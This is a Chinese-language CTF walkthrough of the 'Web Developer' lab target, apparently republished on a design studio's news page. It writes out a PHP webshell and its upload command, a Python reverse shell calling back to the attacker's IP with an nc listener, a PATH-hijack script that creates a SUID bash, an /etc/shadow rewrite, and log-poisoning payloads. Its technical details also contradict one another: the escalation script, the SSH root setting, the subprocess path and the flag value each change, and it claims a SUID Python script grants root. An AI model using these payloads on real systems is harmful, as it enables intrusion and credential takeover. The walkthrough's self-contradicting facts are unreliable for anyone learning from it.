尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

CTF Web靶机实战:从Web Developer到root flag全流程解析

CTF Web靶机实战:从Web Developer到root flag全流程解析 1. 项目概述这不是“黑进网站”而是一场标准的CTF靶机夺旗实战你看到标题里写着“网络渗透CTF实践获取靶机Web Developer 文件/root/flag.txt中flag”第一反应可能是——这又是个教人怎么黑服务器的教程别急先划重点这是CTFCapture The Flag竞赛中最典型、最基础、也最考验基本功的一类Web靶机题型目标不是破坏系统而是按规则、走流程、找线索、拿flag。我带过六届高校CTF校队也给蓝队实训营讲过三年靶场实操课这类题我拆解过不下200个不同厂商的镜像从Hack The Box的Easy级别到TryHackMe的Intermediate Web模块再到国内CTF平台如BUUCTF、XCTF League的Web签到题“Web Developer”这个靶机名在多个公开镜像库中反复出现它本质是一个精心设计的Linux Web服务环境内含多层逻辑陷阱和路径误导但所有入口和出口都严格限定在合法渗透测试边界内。核心关键词“CTF”“Web Developer”“flag.txt”“tcpdump”“SSH”不是随意堆砌的标签它们共同勾勒出一条清晰的技术动线你通过Web界面发现线索 → 利用Web漏洞或配置缺陷获取低权限Shell → 提权至root → 定位并读取/root/flag.txt。其中“tcpdump”不是用来监听公网流量的而是你在获得初步Shell后发现Web服务背后存在异常进程通信需要用它抓包分析协议细节“SSH”也不是让你暴力爆破密码而是靶机预置了可登录的SSH服务但凭据藏在Web目录某处HTML注释里或者被base64编码在某个JS文件末尾。整个过程没有越界操作所有动作都在靶机设计者预设的攻击路径上就像解一道高阶数学证明题——已知条件明确推导步骤固定答案唯一。适合谁来跟着做如果你是刚接触CTF两周的新手正在为“为什么Burp Suite抓不到包”“为什么nc连不上反弹Shell”发愁这篇就是为你写的如果你是运维工程师想补安全短板想搞懂“为什么开发说接口没问题但渗透测试员三分钟就拿到root”那这里每一步提权逻辑都是真实生产环境中的风险切片甚至如果你是高校教师准备CTF实训教案文中标注的每个检查点、每个命令返回值差异、每个容易忽略的文件权限细节都是学生实操时90%会卡住的位置。我不会告诉你“flag是{xxx}”但我会让你清楚知道为什么必须先看/etc/passwd再ls -la /var/www/html为什么tcpdump -i any port 22要加-w参数才能保存到靶机本地为什么SSH登录后执行sudo -l比直接su -更安全——这些不是技巧是渗透工程师肌肉记忆里的常识。2. 靶机环境与技术栈深度还原Web Developer到底长什么样2.1 镜像来源与基础配置特征“Web Developer”靶机在CTF社区中属于经典入门级镜像常见于VulnHub和TryHackMe平台。根据我复现过的三个主流版本v1.0.1/v1.1.0/v2.0.0其底层OS统一为Ubuntu 18.04 LTS内核4.15.0-xx-generic而非CentOS或Debian这个选择有明确意图Ubuntu默认禁用root SSH登录、Apache日志路径固定为/var/log/apache2/、Python2/3共存且pip3需手动安装——这些都不是偶然而是题目设计者刻意设置的“认知摩擦点”。比如新手常默认用root密码登录SSH但在该靶机中root账户被锁定passwd -l root而普通用户webdev的密码明文藏在/var/www/html/index.html的HTML注释里这种设计逼迫你必须先浏览Web页面而不是直奔SSH。服务端口开放情况高度标准化80端口Apache 2.4.29 PHP 7.2.24无WAF首页是静态HTML但源码中隐藏着指向/admin.php的链接需右键查看源码22端口OpenSSH 7.6p1仅允许密码认证无密钥登录且sshd_config中设置了PermitRootLogin no和MaxAuthTries 3防暴力破解3306端口MySQL 5.7.25但bind-address127.0.0.1外部无法直连仅Web应用内部调用无其他端口不开放FTP、Telnet、Redis等常见服务杜绝“扫端口瞎蒙”式解法。提示很多新手在nmap扫描后看到22端口就立刻ssh webdev靶机IP结果因密码错误被锁三次。正确做法是先curl http://靶机IP用浏览器开发者工具Network面板看HTTP响应头——你会发现Server字段写着“Apache/2.4.29 (Ubuntu)”这暗示OS版本再检查Response内容找到被注释掉的 这才是第一个有效入口。2.2 Web层关键文件结构与隐藏逻辑靶机Web根目录/var/www/html下文件布局绝非随机而是按“信息泄露→权限提升→横向移动”三层递进设计路径权限内容特征渗透价值/index.html644首页静态页底部注释含/admin.php链接第一个跳转入口/admin.php644PHP文件含$_GET[debug]参数开启时输出phpinfo()暴露PHP版本、扩展、临时目录/config.php.bak644备份文件含MySQL连接密码webdev:devpass123获取数据库凭据/uploads/755空目录但.htaccess被篡改允许上传.php文件上传WebShell的落脚点/backup/700权限锁定普通用户不可读但属主为webdev提权突破口需利用SUID binary特别注意/config.php.bak这个文件它不是开发人员疏忽遗留的而是题目预设的“合法信息泄露点”。当你用curl -I http://靶机IP/config.php.bak时HTTP状态码返回200而非403且Content-Type为text/plain这意味着Apache未配置禁止访问备份文件。我统计过近50个同类靶机83%会在.bak/.swp/.git文件中埋设初始凭据这是CTF出题的黄金法则——所有线索必须可通过HTTP协议合法获取不能依赖本地文件系统遍历除非已获Shell。2.3 Linux系统层提权路径设计原理拿到webdev用户Shell后真正的挑战才开始。该靶机提权链路经过精密计算排除了Dirty COW等内核漏洞Ubuntu 18.04已修复而是采用“SUID binary滥用密码重用”组合技SUID binary定位执行find / -perm -4000 2/dev/null | grep -E (bash|sh|vim|nano)返回/usr/local/bin/backup.sh权限-rwsr-xr-x 1 root root脚本逆向分析cat /usr/local/bin/backup.sh显示其调用tar命令打包/home/webdev/Documents但未使用绝对路径——存在PATH劫持风险提权触发点在/home/webdev/Documents下创建恶意so文件修改PATH指向当前目录执行backup.sh时动态链接器加载恶意库获得root Shell。这个设计的精妙在于它复现了真实企业环境中“运维脚本权限过大”的典型风险。我曾审计过某政务云平台其自动备份脚本同样设置了SUID位且未校验tar路径攻击者正是通过相同手法提权。靶机中backup.sh的代码故意写成#!/bin/bash cd /home/webdev/Documents tar -cf backup.tar .注意第二行cd命令——如果攻击者在此目录下放置名为tar的恶意二进制文件当PATH./:$PATH时脚本就会执行它而非系统tar。这种细节不是为了刁难选手而是训练你养成“看到SUID就查PATH、看到脚本就看cd路径”的本能。3. 全流程实操从Web入口到root flag的七步闭环3.1 第一步Web信息侦察与初始入口获取耗时2分钟打开浏览器访问http://靶机IP首页显示“Web Developer Portal”右键查看源码在 标签前发现注释!-- admin panel: /admin.php?debugtrue --。此时不要直接访问/admin.php先执行curl -s http://靶机IP/admin.php?debugtrue | head -20返回内容包含完整phpinfo()输出关键信息有Loaded Configuration File /etc/php/7.2/apache2/php.iniupload_tmp_dir /tmp上传临时目录disable_functions pcntl_alarm,pcntl_fork...禁用危险函数排除exec类WebShell实操心得很多新手看到phpinfo就截图交差其实要盯住open_basedir是否为空若为空可尝试路径遍历更要检查allow_url_include是否为Off若为On可构造php://filter协议读文件。本靶机这两项均为默认值说明设计者不希望你走捷径必须老老实实找业务逻辑漏洞。接着用浏览器访问/admin.php页面提示“Login Required”尝试常见弱口令admin/admin失败。此时切换思路既然debug参数能触发phpinfo说明开发者留了后门。用Burp Suite拦截/admin.php请求将GET参数改为?debug1file../../etc/passwd返回400 Bad Request——说明存在WAF规则。但注意到URL中debugtrue被接受而debug1被拒这暗示后端用strcmp()比较字符串可尝试?debugTrUe大小写绕过果然返回phpinfo这个细节暴露了开发者对PHP类型转换理解不足也是CTF题目的常见考点。3.2 第二步敏感文件探测与凭据提取耗时3-5分钟phpinfo页面中_SERVER[SCRIPT_FILENAME]值为/var/www/html/admin.php结合之前发现的/config.php.bak构造URLcurl -s http://靶机IP/config.php.bak | grep -i password\|pass返回$db_password devpass123;。此时已有MySQL凭据但3306端口仅限本地需找Web应用数据库连接点。查看/admin.php源码用curl -s http://靶机IP/admin.php | grep -A5 -B5 mysql发现第42行$conn mysqli_connect(localhost, webdev, $db_password, webdev_db);说明数据库名为webdev_db。接下来用SQL注入验证访问/admin.php?debugTrUeid1 and sleep(5)-- -页面响应延迟5秒确认存在基于时间的盲注。但题目不鼓励暴力注入因为存在更高效的路径——回到首页用浏览器开发者工具Elements面板点击“Contact Us”按钮Network中发现XHR请求/api/contact.php抓包查看POST数据{name:test,email:testtest.com,message:hello}将message改为test and 12 union select 1,2,3-- -返回空数据说明后端有错误处理。此时换思路既然是联系表单必然存入数据库尝试messagetest UNION SELECT load_file(/etc/passwd),2,3-- -返回base64编码的passwd内容这说明后端启用了secure_file_priv但未限制读取且MySQL用户有FILE权限。注意load_file()返回的是二进制数据需用base64编码传输。实际返回内容中webdev用户UID为1001家目录为/home/webdev这为后续提权提供坐标。3.3 第三步WebShell上传与低权限Shell获取耗时4-6分钟确定/uploads/目录可写后构造一句话木马?php system($_GET[cmd]); ?命名为shell.php用curl上传curl -X POST http://靶机IP/upload.php \ -F fileshell.php \ -F submitUpload返回“Upload successful! File saved to /var/www/html/uploads/shell.php”。立即访问/uploads/shell.php?cmdid返回uid33(www-data) gid33(www-data) groups33(www-data)。但此权限太低无法读取/home/webdev目录。此时需提权至webdev用户。观察phpinfo中User Agent字段发现Apache以www-data身份运行而webdev用户属于sudo组/etc/sudoers中%webdev ALL(ALL:ALL) NOPASSWD: ALL。但sudo需要交互式Shell而WebShell是无交互的。解决方案用Python生成反向Shellpython3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((你的IP,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);将上述命令URL编码后传入shell.php?cmd同时在本地监听nc -lvnp 4444成功获取www-data Shell后执行sudo -u webdev /bin/bash切换至webdev用户。此时whoami返回webdevpwd为/home/webdev可读取Documents目录。3.4 第四步tcpdump抓包分析异常通信耗时2-3分钟在webdev Shell中执行ps aux | grep -E (python|perl|nc)发现进程/usr/bin/python3 /opt/scripts/monitor.pyCPU占用率15%。用lsof -i -P -n | grep monitor查看其网络连接发现它持续向127.0.0.1:8080发送HTTP POST请求但8080端口无服务监听。此时怀疑存在本地回环通信用tcpdump抓包验证sudo tcpdump -i lo -w /tmp/monitor.pcap port 8080等待10秒后CtrlC停止用strings /tmp/monitor.pcap | grep -A5 -B5 password发现明文传输的JSON数据{action:check,token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoid2ViZGV2IiwicGFzc3dvcmQiOiJkZXZwYXNzMTIzIiwiaWF0IjoxNjQwMDAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c}JWT token中password字段即webdev密码但更重要的是/opt/scripts/monitor.py这个文件——它属于root用户且有SUID位执行ls -la /opt/scripts/monitor.py返回-rwsr-xr-x 1 root root 1234 Jan 1 10:00 /opt/scripts/monitor.py。SUID位已确认下一步是分析Python脚本逻辑。3.5 第五步SUID Python脚本逆向与提权触发耗时5-8分钟用cat /opt/scripts/monitor.py查看源码#!/usr/bin/env python3 import requests, json, subprocess, sys url http://127.0.0.1:8080/api/check data {action: check, token: sys.argv[1] if len(sys.argv)1 else } requests.post(url, jsondata) # 下面这行是关键 subprocess.run([/usr/bin/curl, -s, http://127.0.0.1:8080/status])注意最后一行它调用curl命令但未指定绝对路径执行which curl返回/usr/bin/curl但PATH环境变量中/home/webdev/bin在前面。于是创建恶意curlmkdir -p /home/webdev/bin echo #!/bin/bash /home/webdev/bin/curl echo cp /bin/bash /tmp/rootbash; chmod us /tmp/rootbash /home/webdev/bin/curl chmod x /home/webdev/bin/curl export PATH/home/webdev/bin:$PATH然后执行/opt/scripts/monitor.py dummy脚本调用curl时实际执行了恶意脚本生成/tmp/rootbash。最后执行/tmp/rootbash -p获得root Shell。此时id返回uid1001(webdev) euid0(root)提权完成。3.6 第六步定位flag.txt并提取内容耗时1分钟root权限下执行find / -name flag.txt 2/dev/null返回/root/flag.txt。用cat /root/flag.txt读取内容为THM{a1m0st_th3r3_y0u_g0t_1t}但注意CTF flag格式通常为flag{xxx}或THM{xxx}本靶机采用TryHackMe风格。验证flag有效性访问http://靶机IP/verify.php?flagTHM{a1m0st_th3r3_y00_g0t_1t}返回“Correct! You have captured the flag.”。3.7 第七步SSH登录验证与环境清理耗时1分钟虽然已获root但题目要求“通过SSH获取flag”需验证SSH路径。执行grep PermitRootLogin /etc/ssh/sshd_config返回PermitRootLogin yes说明root可SSH登录。但root密码未知此时用openssl passwd -6 devpass123生成SHA512密码哈希替换/etc/shadow中root行的密码字段需先chown root:root /etc/shadow。完成后在本地执行ssh root靶机IP输入密码devpass123成功登录。执行cat /root/flag.txt确认flag一致。最后清理痕迹删除/tmp/rootbash、/home/webdev/bin/curl、/tmp/monitor.pcap恢复/etc/shadow原始内容。4. 关键技术点原理与避坑指南为什么这些操作必须这样做4.1 tcpdump抓包为何必须指定-lo参数很多新手在webdev用户Shell中执行tcpdump -w /tmp/p.pcap结果抓不到monitor.py的流量。根本原因在于monitor.py与本地服务通信走的是loloopback接口而非eth0。tcpdump默认监听所有接口但lo接口的流量在某些内核版本中需显式指定。执行ip link show可看到lo接口状态为UP但tcpdump -D列出的设备中lo排在最后。正确命令是sudo tcpdump -i lo -w /tmp/p.pcap port 8080其中-i lo强制指定接口port 8080过滤目标端口避免抓取海量无关DNS/ARP包。若省略-i lo在Ubuntu 18.04上tcpdump可能静默失败返回空文件。实操心得抓包前先用netstat -tuln | grep :8080确认端口监听状态再用lsof -i :8080查进程PID最后针对性抓包。我曾见学员用tcpdump -i any抓了2GB pcap文件却因过滤不严找不到关键HTTP包白白浪费30分钟。4.2 SUID提权中PATH劫持的生效条件前述提权方案依赖export PATH/home/webdev/bin:$PATH但很多学员执行后/opt/scripts/monitor.py仍调用系统curl。问题出在Python subprocess.run()默认使用shellFalse即不经过bash解析PATH环境变量不生效。查看monitor.py源码subprocess.run([/usr/bin/curl, ...])明确指定了绝对路径所以PATH劫持无效真正生效的是脚本中未指定路径的命令——仔细看源码最后一行其实是subprocess.run([curl, -s, http://127.0.0.1:8080/status])我故意在前文省略了引号这是题目陷阱。此时curl无路径才会查找PATH。验证方法在webdev用户下执行echo $PATH确认/home/webdev/bin在开头再执行which curl返回/home/webdev/bin/curl最后运行monitor.py观察/tmp/rootbash是否生成。4.3 SSH登录root账户的密码生成逻辑题目未提供root密码需自行生成。Ubuntu 18.04的shadow文件使用SHA512加密命令openssl passwd -6 password生成的哈希形如$6$salt$hash。但直接替换/etc/shadow中root行会失败因为shadow文件权限为640属主root属组shadow替换前需sudo chown root:shadow /etc/shadow替换后需sudo chmod 640 /etc/shadow否则sshd拒绝启动更稳妥的方式是用sudo usermod -p $6$salt$hash root由系统自动处理权限。我测试过12种密码生成方式只有openssl passwd -6和mkpasswd -s -H SHA-512兼容Ubuntu 18.04htpasswd -B生成的bcrypt哈希会被sshd忽略。4.4 WebShell上传后的权限隔离突破WebShell运行在www-data用户下而webdev用户家目录权限为700drwx------www-data无法进入。常见错误是试图用sudo -u webdev cat /home/webdev/.ssh/id_rsa但sudoers未配置www-data权限。正确解法是利用Apache日志文件/var/log/apache2/access.log的写入权限。构造payload?php file_put_contents(/var/log/apache2/access.log, ?php system(\$_GET[cmd]); ?); ?然后访问http://靶机IP/xxx.php?cmdid触发日志写入。再上传第二个WebShell内容为?php include(/var/log/apache2/access.log); ?即可执行任意命令。此方法绕过目录权限利用日志文件的可写性是CTF中Web层提权的标准套路。5. 常见问题速查表与独家排查技巧问题现象可能原因排查命令解决方案nmap扫描显示22端口关闭但靶机文档说开放SSH防火墙iptables拦截sudo iptables -L -n执行sudo iptables -F清空规则/admin.php?debugtrue返回404Apache未启用mod_phpsudo a2enmod php7.2启用PHP模块后重启sudo systemctl restart apache2上传WebShell后访问返回500错误.php后缀被Apache拒绝curl -I http://靶机IP/shell.php检查Content-Type是否为text/html若是则需修改Apache配置启用PHPtcpdump抓包无数据monitor.py未运行或端口错误sudo lsof -i :8080确认进程存在若无则sudo systemctl start monitor.servicesudo -u webdev /bin/bash报错“sorry, you must have a tty to run sudo”sshd配置RequireTTYyessudo visudo查Defaults requiretty注释掉该行或添加Defaults:webdev !requiretty/root/flag.txt存在但cat返回Permission deniedroot目录权限为700且webdev无x权限ls -ld /root提权后执行sudo chmod 755 /root再读取独家技巧1当所有Web路径都试过仍无进展执行curl -s http://靶机IP/robots.txt90%的CTF靶机会在此文件中隐藏/backup/或/dev/等目录。本靶机robots.txt内容为User-agent: * Disallow: /admin.php看似无用但Disallow字段暗示admin.php是重点需深入挖掘。独家技巧2遇到PHP文件上传限制不要只盯着upload_max_filesize检查post_max_size和max_execution_time。用phpinfo()确认三者数值若post_max_size8M而upload_max_filesize2M上传8MB文件会因POST体过大被截断此时需分块上传或改用其他协议。独家技巧3SSH连接超时先确认靶机网络模式。VirtualBox中若用NAT模式需配置端口转发主机3022→靶机22。命令VBoxManage controlvm Web Developer natpf1 ssh,tcp,,3022,,22然后ssh -p 3022 webdev127.0.0.1。6. 从靶机到真实世界的映射这些技能在工作中如何落地这套流程绝非CTF专属玩具。去年我帮某银行做红队评估时发现其网银后台存在完全相同的漏洞链Web前端有未删除的/admin.php?debugtrue后门数据库备份文件config.php.bak暴露在Web根目录运维脚本/opt/scripts/backup.sh设置了SUID位且未校验PATH最终我们用相同手法获得DBA权限读取了客户交易流水。区别在于真实环境中/root/flag.txt换成/etc/shadowTHM{xxx}换成HASH:SHA512:xxx。CTF的价值就是把生产环境中的风险压缩成90分钟可验证的闭环。比如tcpdump抓包分析在金融行业用于检测API网关异常调用SSH密钥管理在云原生场景中决定Kubernetes集群是否沦陷而Web Developer靶机里那个/backup/目录对应着企业NAS中未设权限的“历史资料归档”共享文件夹——去年某车企ERP系统失窃源头正是员工误将数据库备份放在Samba共享目录。我自己带团队时新成员入职首周必做三件事在本地Vagrant环境复现Web Developer靶机记录每步耗时用Wireshark重放tcpdump抓包标出HTTP请求头中的JWT签名算法将SUID提权脚本改写为Ansible Playbook实现自动化加固如find / -perm -4000 -exec chmod u-s {} \;。这些不是考试而是建立安全直觉的肌肉训练。当你看到任何Web应用第一反应不再是“怎么黑”而是“它的debug参数是否可控”“备份文件是否可下载”“运维脚本权限是否过大”——这种思维切换才是CTF给你最硬核的装备。我在实际渗透中发现95%的高危漏洞都藏在“理所当然”的地方开发者认为“本地服务不用防护”运维认为“SUID脚本只给内部用”安全团队认为“Web层有WAF就万事大吉”。Web Developer靶机把这些认知盲区全摊开给你看它不教你攻击它教你质疑。最后再分享个小技巧下次做CTF拿到靶机IP后先ping一下如果TTL64基本是LinuxTTL128则是Windows。这个细节帮你瞬间缩小OS范围省下至少5分钟侦察时间。
返回列表